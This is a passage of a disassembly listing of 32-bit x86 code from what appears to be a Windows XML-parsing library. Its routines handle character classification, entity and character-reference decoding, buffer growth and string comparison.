		jmp	short loc_69B31877
; ---------------------------------------------------------------------------


loc_69B3185E:				; DATA XREF: .text:69B31894o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B31867:				; DATA XREF: .text:69B31898o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		call	sub_69B2E860


loc_69B31877:				; CODE XREF: sub_69B3182D+2Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		mov	eax, [ebp-20h]
		call	sub_69B1853C
		retn	8
sub_69B3182D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B31890	dd 0FFFFFFFFh			dd offset loc_69B3185E
		dd offset loc_69B31867

; =============== S U B	R O U T	I N E =======================================



sub_69B3189C	proc near		; DATA XREF: .text:69B1C23Co
		mov	eax, offset off_69B318A4
		retn
sub_69B3189C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B318A4	dd offset off_69B26228	; DATA XREF: sub_69B3189Co
		dd offset loc_69B318AC
; ---------------------------------------------------------------------------


loc_69B318AC:				; DATA XREF: .text:69B318A8o
		push	esi
		push	28h
		call	sub_69B17EF3
		mov	esi, eax
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_69B318CF
		push	eax
		push	1
		push	eax
		mov	ecx, esi
		call	sub_69B1A799
		mov	dword ptr [esi], offset	off_69B1C220
		mov	eax, esi


loc_69B318CF:				; CODE XREF: .text:69B318BAj
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B318D1	proc near		; CODE XREF: sub_69B2132A+6Bp
					; sub_69B2132A+16Cp ...

arg_0		= dword	ptr  4

		mov	edx, [ecx+8]
		cmp	edx, [esp+arg_0]
		jle	short loc_69B318E3
		mov	eax, edx
		sub	eax, [esp+arg_0]
		dec	eax
		jmp	short loc_69B318E5
; ---------------------------------------------------------------------------


loc_69B318E3:				; CODE XREF: sub_69B318D1+7j
		xor	eax, eax


loc_69B318E5:				; CODE XREF: sub_69B318D1+10j
		mov	[ecx+14h], eax
		mov	eax, [ecx+24h]
		cmp	eax, edx
		jz	short locret_69B318F8
		mov	edx, [ecx+20h]
		mov	[ecx+28h], edx
		mov	[ecx+2Ch], eax

locret_69B318F8:			; CODE XREF: sub_69B318D1+1Cj
		retn	4
sub_69B318D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B318FB	proc near		; CODE XREF: sub_69B320E7+6p
					; sub_69B3592B+3Dp ...
		mov	edx, [ecx+8]
		cmp	[ecx+0Ch], edx
		jz	sub_69B88EFE
		mov	eax, [ecx]
		imul	eax, edx
		add	eax, [ecx+4]
		inc	edx
		mov	[ecx+8], edx
		retn
sub_69B318FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31914	proc near		; CODE XREF: sub_69B31A82+20p
					; sub_69B31A82+31p ...

arg_0		= word ptr  4

		movzx	eax, [esp+arg_0]
		mov	ecx, eax
		shr	ecx, 8
		mov	ecx, off_69B98030[ecx*4]
		and	eax, 0FFh
		movzx	eax, byte ptr [eax+ecx]
		and	eax, 2
		retn	4
sub_69B31914	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31934	proc near		; CODE XREF: sub_69B31D34+1Cp

arg_0		= word ptr  4

		mov	ax, [esp+arg_0]
		cmp	ax, 30h
		jb	short loc_69B31945
		cmp	ax, 39h
		jbe	short loc_69B3195D


loc_69B31945:				; CODE XREF: sub_69B31934+9j
		cmp	ax, 61h
		jb	short loc_69B31951
		cmp	ax, 66h
		jbe	short loc_69B3195D


loc_69B31951:				; CODE XREF: sub_69B31934+15j
		cmp	ax, 41h
		jb	short loc_69B31962
		cmp	ax, 46h
		ja	short loc_69B31962


loc_69B3195D:				; CODE XREF: sub_69B31934+Fj
					; sub_69B31934+1Bj
		xor	eax, eax
		inc	eax
		jmp	short locret_69B31964
; ---------------------------------------------------------------------------


loc_69B31962:				; CODE XREF: sub_69B31934+21j
					; sub_69B31934+27j
		xor	eax, eax

locret_69B31964:			; CODE XREF: sub_69B31934+2Cj
		retn	4
sub_69B31934	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31967	proc near		; CODE XREF: sub_69B2132A+385p
					; sub_69B2132A+3DCp ...

arg_0		= word ptr  4

		movzx	eax, [esp+arg_0]
		mov	ecx, eax
		shr	ecx, 8
		mov	ecx, off_69B98030[ecx*4]
		and	eax, 0FFh
		movzx	eax, byte ptr [eax+ecx]
		and	eax, 8
		retn	4
sub_69B31967	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31987	proc near		; CODE XREF: sub_69B31F54+10p
					; sub_69B32791+31p ...

arg_0		= word ptr  4

		movzx	eax, [esp+arg_0]
		mov	ecx, eax
		shr	ecx, 8
		mov	ecx, off_69B98030[ecx*4]
		and	eax, 0FFh
		movzx	eax, byte ptr [eax+ecx]
		and	eax, 4
		retn	4
sub_69B31987	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B319A7	proc near		; CODE XREF: sub_69B2132A+18Ep
					; sub_69B325A9+D6p ...

arg_0		= word ptr  4

		movzx	eax, [esp+arg_0]
		mov	ecx, eax
		shr	ecx, 8
		mov	ecx, off_69B98030[ecx*4]
		and	eax, 0FFh
		movzx	eax, byte ptr [eax+ecx]
		and	eax, 10h
		retn	4
sub_69B319A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B319C7	proc near		; CODE XREF: sub_69B31B27+16p

arg_0		= word ptr  4

		mov	ax, [esp+arg_0]
		cmp	ax, 20h
		jb	short loc_69B319F0
		cmp	ax, 5Ah
		ja	short loc_69B319F0
		cmp	ax, 22h
		jz	short loc_69B319F0
		cmp	ax, 26h
		jz	short loc_69B319F0
		cmp	ax, 3Ch
		jz	short loc_69B319F0
		cmp	ax, 3Eh
		jnz	short loc_69B31A12


loc_69B319F0:				; CODE XREF: sub_69B319C7+9j
					; sub_69B319C7+Fj ...
		cmp	ax, 61h
		jb	short loc_69B319FC
		cmp	ax, 7Ah
		jbe	short loc_69B31A12


loc_69B319FC:				; CODE XREF: sub_69B319C7+2Dj
		cmp	ax, 0Ah
		jz	short loc_69B31A12
		cmp	ax, 0Dh
		jz	short loc_69B31A12
		cmp	ax, 5Fh
		jz	short loc_69B31A12
		xor	eax, eax
		jmp	short locret_69B31A15
; ---------------------------------------------------------------------------


loc_69B31A12:				; CODE XREF: sub_69B319C7+27j
					; sub_69B319C7+33j ...
		xor	eax, eax
		inc	eax

locret_69B31A15:			; CODE XREF: sub_69B319C7+49j
		retn	4
sub_69B319C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31A18	proc near		; CODE XREF: sub_69B31F54+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		mov	[eax], edi
		mov	ax, [esi]
		cmp	ax, 3Ah
		mov	[ebp+arg_0], esi
		jz	short loc_69B31A7A
		push	ebx
		mov	ebx, eax
		cmp	bx, di
		jz	short loc_69B31A79


loc_69B31A3B:				; CODE XREF: sub_69B31A18+41j
		push	ebx
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B31A5B
		cmp	bx, 3Ah
		jnz	short loc_69B31A51
		test	edi, edi
		jnz	short loc_69B31A5F
		mov	edi, esi


loc_69B31A51:				; CODE XREF: sub_69B31A18+31j
		inc	esi
		inc	esi
		mov	bx, [esi]
		test	bx, bx
		jnz	short loc_69B31A3B


loc_69B31A5B:				; CODE XREF: sub_69B31A18+2Bj
		test	edi, edi
		jz	short loc_69B31A79


loc_69B31A5F:				; CODE XREF: sub_69B31A18+35j
		mov	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFEh
		cmp	eax, 2
		jnz	short loc_69B31A6F
		mov	esi, edi
		jmp	short loc_69B31A79
; ---------------------------------------------------------------------------


loc_69B31A6F:				; CODE XREF: sub_69B31A18+51j
		sub	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sar	edi, 1
		mov	[eax], edi


loc_69B31A79:				; CODE XREF: sub_69B31A18+21j
					; sub_69B31A18+45j ...
		pop	ebx


loc_69B31A7A:				; CODE XREF: sub_69B31A18+19j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_69B31A18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31A82	proc near		; CODE XREF: sub_69B4FDBC+643p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, 2
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jb	loc_69B31B1E
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		mov	di, [esi]
		push	edi
		call	sub_69B31914
		test	eax, eax
		jz	short loc_69B31B1E
		inc	esi
		xor	eax, eax
		inc	esi
		mov	ax, [esi]
		push	eax
		call	sub_69B31914
		test	eax, eax
		jz	short loc_69B31AC6
		cmp	ebx, 2
		jz	short loc_69B31B1A
		dec	ebx
		inc	esi
		inc	esi
		jmp	short loc_69B31ADE
; ---------------------------------------------------------------------------


loc_69B31AC6:				; CODE XREF: sub_69B31A82+38j
		cmp	di, 49h
		jz	short loc_69B31ADE
		cmp	di, 69h
		jz	short loc_69B31ADE
		cmp	di, 58h
		jz	short loc_69B31ADE
		cmp	di, 78h
		jnz	short loc_69B31B1E


loc_69B31ADE:				; CODE XREF: sub_69B31A82+42j
					; sub_69B31A82+48j ...
		cmp	word ptr [esi],	2Dh
		jnz	short loc_69B31B1E
		dec	ebx
		dec	ebx
		jz	short loc_69B31B1E


loc_69B31AE8:				; CODE XREF: sub_69B31A82+90j
		dec	ebx
		inc	esi
		inc	esi
		xor	edi, edi
		mov	di, [esi]
		push	edi
		call	sub_69B31914
		test	eax, eax
		jz	short loc_69B31B00
		mov	[ebp+var_1], 1
		jmp	short loc_69B31B10
; ---------------------------------------------------------------------------


loc_69B31B00:				; CODE XREF: sub_69B31A82+76j
		cmp	di, 2Dh
		jnz	short loc_69B31B1E
		cmp	[ebp+var_1], 0
		jz	short loc_69B31B1E
		mov	[ebp+var_1], 0


loc_69B31B10:				; CODE XREF: sub_69B31A82+7Cj
		test	ebx, ebx
		ja	short loc_69B31AE8
		cmp	[ebp+var_1], 0
		jz	short loc_69B31B1E


loc_69B31B1A:				; CODE XREF: sub_69B31A82+3Dj
		mov	al, 1
		jmp	short loc_69B31B20
; ---------------------------------------------------------------------------


loc_69B31B1E:				; CODE XREF: sub_69B31A82+11j
					; sub_69B31A82+27j ...
		xor	al, al


loc_69B31B20:				; CODE XREF: sub_69B31A82+9Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B31A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31B27	proc near		; CODE XREF: sub_69B8E714+1C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jbe	short loc_69B31B4F
		mov	esi, [esp+4+arg_0]


loc_69B31B33:				; CODE XREF: sub_69B31B27+26j
		dec	[esp+4+arg_4]
		xor	eax, eax
		mov	ax, [esi]
		push	eax
		call	sub_69B319C7
		inc	esi
		inc	esi
		test	al, al
		jz	short loc_69B31B55
		cmp	[esp+4+arg_4], 0
		ja	short loc_69B31B33


loc_69B31B4F:				; CODE XREF: sub_69B31B27+6j
		mov	al, 1


loc_69B31B51:				; CODE XREF: sub_69B31B27+30j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B31B55:				; CODE XREF: sub_69B31B27+1Fj
		xor	al, al
		jmp	short loc_69B31B51
sub_69B31B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31B59	proc near		; CODE XREF: sub_69B32EF6+15Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+ecx]
		dec	ecx
		dec	ecx
		push	esi
		push	edi
		jz	short loc_69B31BB0
		dec	ecx
		jz	short loc_69B31B9A
		dec	ecx
		jnz	short loc_69B31BDC
		mov	edi, [ebp+arg_0]
		mov	ecx, eax
		mov	esi, offset aQuot ; "quot"
		xor	edx, edx
		repe cmpsb
		jnz	short loc_69B31B84
		mov	ax, 22h
		jmp	short loc_69B31BDF
; ---------------------------------------------------------------------------


loc_69B31B84:				; CODE XREF: sub_69B31B59+23j
		mov	edi, [ebp+arg_0]
		mov	ecx, eax
		mov	esi, offset aApos ; "apos"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B31BDC
		mov	ax, 27h
		jmp	short loc_69B31BDF
; ---------------------------------------------------------------------------


loc_69B31B9A:				; CODE XREF: sub_69B31B59+10j
		mov	edi, [ebp+arg_0]
		mov	ecx, eax
		mov	esi, offset aAmp ; "amp"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B31BDC
		mov	ax, 26h
		jmp	short loc_69B31BDF
; ---------------------------------------------------------------------------


loc_69B31BB0:				; CODE XREF: sub_69B31B59+Dj
		mov	edi, [ebp+arg_0]
		mov	ecx, eax
		mov	esi, offset aLt	; "lt"
		xor	edx, edx
		repe cmpsb
		jnz	short loc_69B31BC6
		mov	ax, 3Ch
		jmp	short loc_69B31BDF
; ---------------------------------------------------------------------------


loc_69B31BC6:				; CODE XREF: sub_69B31B59+65j
		mov	edi, [ebp+arg_0]
		mov	ecx, eax
		mov	esi, offset aGt	; "gt"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B31BDC
		mov	ax, 3Eh
		jmp	short loc_69B31BDF
; ---------------------------------------------------------------------------


loc_69B31BDC:				; CODE XREF: sub_69B31B59+13j
					; sub_69B31B59+39j ...
		xor	ax, ax


loc_69B31BDF:				; CODE XREF: sub_69B31B59+29j
					; sub_69B31B59+3Fj ...
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B31B59	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31BE5	proc near		; CODE XREF: sub_69B32BA0+2BDp
					; sub_69B32EF6+E2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	ecx, ecx
		xor	edx, edx
		cmp	[esp+arg_4], ecx
		push	esi
		jbe	short loc_69B31C50


loc_69B31BF0:				; CODE XREF: sub_69B31BE5+65j
		mov	eax, [esp+4+arg_0]
		mov	ax, [eax+ecx*2]
		cmp	ax, 61h
		jb	short loc_69B31C0C
		cmp	ax, 66h
		ja	short loc_69B31C0C
		movzx	eax, ax
		sub	eax, 57h
		jmp	short loc_69B31C32
; ---------------------------------------------------------------------------


loc_69B31C0C:				; CODE XREF: sub_69B31BE5+17j
					; sub_69B31BE5+1Dj
		cmp	ax, 41h
		jb	short loc_69B31C20
		cmp	ax, 46h
		ja	short loc_69B31C20
		movzx	eax, ax
		sub	eax, 37h
		jmp	short loc_69B31C32
; ---------------------------------------------------------------------------


loc_69B31C20:				; CODE XREF: sub_69B31BE5+2Bj
					; sub_69B31BE5+31j
		cmp	ax, 30h
		jb	short loc_69B31C57
		cmp	ax, 39h
		ja	short loc_69B31C57
		movzx	eax, ax
		sub	eax, 30h


loc_69B31C32:				; CODE XREF: sub_69B31BE5+25j
					; sub_69B31BE5+39j
		mov	esi, 0FFFFh
		sub	esi, eax
		shr	esi, 4
		cmp	edx, esi
		ja	short loc_69B31C50
		shl	edx, 4
		add	edx, eax
		inc	ecx
		cmp	ecx, [esp+4+arg_4]
		jb	short loc_69B31BF0
		test	edx, edx
		jnz	short loc_69B31C5E


loc_69B31C50:				; CODE XREF: sub_69B31BE5+9j
					; sub_69B31BE5+59j
		mov	eax, 0C00CE51Fh
		jmp	short loc_69B31C67
; ---------------------------------------------------------------------------


loc_69B31C57:				; CODE XREF: sub_69B31BE5+3Fj
					; sub_69B31BE5+45j
		mov	eax, 0C00CE51Eh
		jmp	short loc_69B31C67
; ---------------------------------------------------------------------------


loc_69B31C5E:				; CODE XREF: sub_69B31BE5+69j
		mov	eax, [esp+4+arg_8]
		mov	[eax], dx
		xor	eax, eax


loc_69B31C67:				; CODE XREF: sub_69B31BE5+70j
					; sub_69B31BE5+77j
		pop	esi
		retn	0Ch
sub_69B31BE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31C6B	proc near		; CODE XREF: sub_69B32BA0+254p
					; sub_69B32EF6+80p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	[esp+0Ch+arg_4], edi
		jbe	short loc_69B31CB5


loc_69B31C78:				; CODE XREF: sub_69B31C6B+44j
		mov	eax, [esp+0Ch+arg_0]
		mov	ax, [eax+edi*2]
		cmp	ax, 30h
		jb	short loc_69B31CBC
		cmp	ax, 39h
		ja	short loc_69B31CBC
		movzx	ecx, ax
		sub	ecx, 30h
		mov	eax, 0FFFFh
		push	0Ah
		sub	eax, ecx
		xor	edx, edx
		pop	ebx
		div	ebx
		cmp	esi, eax
		ja	short loc_69B31CB5
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2]
		jb	short loc_69B31C78
		test	esi, esi
		jnz	short loc_69B31CC3


loc_69B31CB5:				; CODE XREF: sub_69B31C6B+Bj
					; sub_69B31C6B+37j
		mov	eax, 0C00CE51Fh
		jmp	short loc_69B31CCC
; ---------------------------------------------------------------------------


loc_69B31CBC:				; CODE XREF: sub_69B31C6B+19j
					; sub_69B31C6B+1Fj
		mov	eax, 0C00CE51Dh
		jmp	short loc_69B31CCC
; ---------------------------------------------------------------------------


loc_69B31CC3:				; CODE XREF: sub_69B31C6B+48j
		mov	eax, [esp+0Ch+arg_8]
		mov	[eax], si
		xor	eax, eax


loc_69B31CCC:				; CODE XREF: sub_69B31C6B+4Fj
					; sub_69B31C6B+56j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B31C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31CD2	proc near		; CODE XREF: sub_69B35A98+50p
					; sub_69B373CD+2Cp ...

arg_0		= word ptr  4

		mov	ax, [esp+arg_0]
		push	ebx
		mov	dl, 1
		mov	bl, al
		and	bl, dl
		mov	[ecx+86h], bl
		mov	bl, al
		shr	bl, 1
		and	bl, dl
		mov	[ecx+87h], bl
		mov	bl, al
		shr	bl, 2
		and	bl, dl
		mov	[ecx+88h], bl
		mov	bl, al
		shr	bl, 3
		and	bl, dl
		mov	[ecx+89h], bl
		mov	bl, al
		mov	[ecx+84h], ax
		shr	bl, 5
		and	bl, dl
		shr	al, 6
		and	al, dl
		mov	[ecx+8Bh], bl
		mov	byte ptr [ecx+8Ah], 0
		mov	[ecx+8Ch], al
		pop	ebx
		retn	4
sub_69B31CD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31D34	proc near		; CODE XREF: sub_69B32BA0+283p
					; sub_69B32EF6+9Ap
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+5Ch]
		cmp	byte ptr [edi],	0
		jnz	short loc_69B31D7D
		lea	ebx, [esi+52h]


loc_69B31D44:				; CODE XREF: sub_69B31D34+47j
		xor	eax, eax
		mov	ax, [ebx]
		cmp	ax, 3Bh
		jz	short loc_69B31D7D
		push	eax
		call	sub_69B31934
		test	eax, eax
		jz	short loc_69B31D8C
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B31D6E
		mov	ecx, [esi+34h]
		push	edi
		push	ebx
		call	sub_69B35FE4
		jmp	short loc_69B31D75
; ---------------------------------------------------------------------------


loc_69B31D6E:				; CODE XREF: sub_69B31D34+2Cj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B31D75:				; CODE XREF: sub_69B31D34+38j
		test	eax, eax
		jnz	short loc_69B31D88
		cmp	[edi], al
		jz	short loc_69B31D44


loc_69B31D7D:				; CODE XREF: sub_69B31D34+Bj
					; sub_69B31D34+19j
		mov	al, [edi]
		neg	al
		sbb	eax, eax
		and	eax, 0C00CE559h


loc_69B31D88:				; CODE XREF: sub_69B31D34+43j
					; sub_69B31D34+6Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B31D8C:				; CODE XREF: sub_69B31D34+23j
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFBh
		add	eax, 0C00CE513h
		jmp	short loc_69B31D88
sub_69B31D34	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31DA3	proc near		; CODE XREF: sub_69B32BA0+226p
					; sub_69B32EF6+38p
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+5Ch]
		cmp	byte ptr [edi],	0
		jnz	short loc_69B31DEC
		lea	ebx, [esi+52h]


loc_69B31DB3:				; CODE XREF: sub_69B31DA3+47j
		xor	eax, eax
		mov	ax, [ebx]
		cmp	ax, 3Bh
		jz	short loc_69B31DEC
		push	eax
		call	sub_69B2FB32
		test	eax, eax
		jz	short loc_69B31DFB
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B31DDD
		mov	ecx, [esi+34h]
		push	edi
		push	ebx
		call	sub_69B35FE4
		jmp	short loc_69B31DE4
; ---------------------------------------------------------------------------


loc_69B31DDD:				; CODE XREF: sub_69B31DA3+2Cj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B31DE4:				; CODE XREF: sub_69B31DA3+38j
		test	eax, eax
		jnz	short loc_69B31DF7
		cmp	[edi], al
		jz	short loc_69B31DB3


loc_69B31DEC:				; CODE XREF: sub_69B31DA3+Bj
					; sub_69B31DA3+19j
		mov	al, [edi]
		neg	al
		sbb	eax, eax
		and	eax, 0C00CE559h


loc_69B31DF7:				; CODE XREF: sub_69B31DA3+43j
					; sub_69B31DA3+6Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B31DFB:				; CODE XREF: sub_69B31DA3+23j
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFBh
		add	eax, 0C00CE513h
		jmp	short loc_69B31DF7
sub_69B31DA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B31F28


loc_69B31E12:				; CODE XREF: sub_69B31F28+Ej
		push	ecx
		push	ebx
		push	ebp
		push	edi
		mov	ebx, ecx
		mov	edi, [ebx+0A0h]
		lea	edi, [edi+edi+400h]
		lea	eax, [edi+edi]
		push	eax
		mov	[esp+14h+var_4], edi
		call	sub_69B11E44
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_69B31E3F
		mov	eax, 8007000Eh
		jmp	short loc_69B31E94
; ---------------------------------------------------------------------------


loc_69B31E3F:				; CODE XREF: sub_69B31F28-F2j
		push	esi
		mov	esi, [ebx+98h]
		test	esi, esi
		jz	short loc_69B31E71
		mov	ecx, [ebx+9Ch]
		shl	ecx, 1
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, ebp
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx+98h]
		call	sub_69B1B2B7
		mov	edi, [esp+14h+var_4]


loc_69B31E71:				; CODE XREF: sub_69B31F28-E0j
		mov	dx, [esp+14h+arg_0]
		lea	eax, [ebx+9Ch]
		mov	ecx, [eax]
		mov	[ebx+0A0h], edi
		mov	[ebx+98h], ebp
		mov	[ebp+ecx*2+0], dx
		inc	dword ptr [eax]
		xor	eax, eax
		pop	esi


loc_69B31E94:				; CODE XREF: sub_69B31F28-EBj
		pop	edi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B31F28

; =============== S U B	R O U T	I N E =======================================



sub_69B31E9B	proc near		; CODE XREF: sub_69B32EF6+203p
		cmp	byte ptr [ecx+70h], 0
		jz	short loc_69B31EE2
		cmp	byte ptr [ecx+54h], 0
		jz	short loc_69B31EB9
		cmp	byte ptr [ecx+8Bh], 0
		jnz	short loc_69B31EB9
		mov	dword ptr [ecx+44h], 12h
		jmp	short loc_69B31EC0
; ---------------------------------------------------------------------------


loc_69B31EB9:				; CODE XREF: sub_69B31E9B+Aj
					; sub_69B31E9B+13j
		mov	dword ptr [ecx+44h], 0Dh


loc_69B31EC0:				; CODE XREF: sub_69B31E9B+1Cj
		mov	edx, [ecx+34h]
		mov	eax, [edx+8]
		sub	eax, [ecx+6Ch]
		sub	eax, [edx+14h]
		mov	byte ptr [ecx+70h], 0
		dec	eax
		mov	edx, eax
		neg	edx
		mov	[ecx+4Ch], eax
		mov	[ecx+48h], edx
		mov	byte ptr [ecx+54h], 1
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_69B31EE2:				; CODE XREF: sub_69B31E9B+4j
		xor	al, al
		retn
sub_69B31E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31EE5	proc near		; CODE XREF: sub_69B35FE4+4Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0C00CE600h
		jnz	short loc_69B31EF4
		push	47h
		jmp	short loc_69B31EFD
; ---------------------------------------------------------------------------


loc_69B31EF4:				; CODE XREF: sub_69B31EE5+9j
		cmp	eax, 0C00CE601h
		jnz	short loc_69B31EFE
		push	48h


loc_69B31EFD:				; CODE XREF: sub_69B31EE5+Dj
		pop	eax


loc_69B31EFE:				; CODE XREF: sub_69B31EE5+14j
		mov	ecx, [ecx+0C4h]
		push	eax
		call	sub_69B38114
		retn	4
sub_69B31EE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31F0D	proc near		; CODE XREF: sub_69B32133+4Ep
					; sub_69B3220F+5Ap ...
		mov	eax, [ecx+8]
		test	eax, eax
		jle	short loc_69B31F18
		dec	eax
		mov	[ecx+8], eax


loc_69B31F18:				; CODE XREF: sub_69B31F0D+5j
		mov	eax, [ecx+8]
		test	eax, eax
		jnz	short loc_69B31F20
		retn
; ---------------------------------------------------------------------------


loc_69B31F20:				; CODE XREF: sub_69B31F0D+10j
		dec	eax
		imul	eax, [ecx]
		add	eax, [ecx+4]
		retn
sub_69B31F0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31F28	proc near		; CODE XREF: sub_69B32BA0+BBp
					; sub_69B32BA0+1E2p ...

var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 69B31E12 SIZE 00000089 BYTES

		lea	eax, [ecx+9Ch]
		mov	edx, [eax]
		cmp	edx, [ecx+0A0h]
		jge	loc_69B31E12
		mov	ecx, [ecx+98h]
		push	esi
		mov	si, [esp+4+arg_0]
		mov	[ecx+edx*2], si
		inc	dword ptr [eax]
		xor	eax, eax
		pop	esi
		retn	4
sub_69B31F28	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31F54	proc near		; CODE XREF: sub_69B31F88+8p
					; sub_69B5EEC0+4Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		mov	ax, [esi]
		test	ax, ax
		jz	short loc_69B31F7B
		push	eax
		call	sub_69B31987
		test	eax, eax
		jz	short loc_69B31F7B
		push	[esp+4+arg_4]
		push	esi
		call	sub_69B31A18
		mov	esi, eax
		jmp	short loc_69B31F82
; ---------------------------------------------------------------------------


loc_69B31F7B:				; CODE XREF: sub_69B31F54+Dj
					; sub_69B31F54+17j
		mov	eax, [esp+4+arg_4]
		and	dword ptr [eax], 0


loc_69B31F82:				; CODE XREF: sub_69B31F54+25j
		mov	eax, esi
		pop	esi
		retn	8
sub_69B31F54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31F88	proc near		; CODE XREF: sub_69B4778C+65p
					; sub_69B47A04+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B31F54
		cmp	word ptr [eax],	0
		jnz	short loc_69B31FA5
		cmp	eax, [esp+arg_0]
		jz	short loc_69B31FA5
		mov	al, 1
		jmp	short locret_69B31FA7
; ---------------------------------------------------------------------------


loc_69B31FA5:				; CODE XREF: sub_69B31F88+11j
					; sub_69B31F88+17j
		xor	al, al

locret_69B31FA7:			; CODE XREF: sub_69B31F88+1Bj
		retn	8
sub_69B31F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B31FAA(LPCWSTR lpString, LPCWSTR lpStr2, int nChar, char)

sub_69B31FAA	proc near		; CODE XREF: sub_69B2132A+353p
					; sub_69B33C72+F5p ...

lpString	= dword	ptr  8
lpStr2		= dword	ptr  0Ch
nChar		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		push	[ebp+nChar]	; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	[ebp+lpString]	; lpStr1
		jnz	short loc_69B31FC4
		call	ds:StrCmpNW	; StrCmpNW
		jmp	short loc_69B31FCA
; ---------------------------------------------------------------------------


loc_69B31FC4:				; CODE XREF: sub_69B31FAA+10j
		call	ds:StrCmpNIW	; StrCmpNIW


loc_69B31FCA:				; CODE XREF: sub_69B31FAA+18j
		test	eax, eax
		jnz	short loc_69B31FE1
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
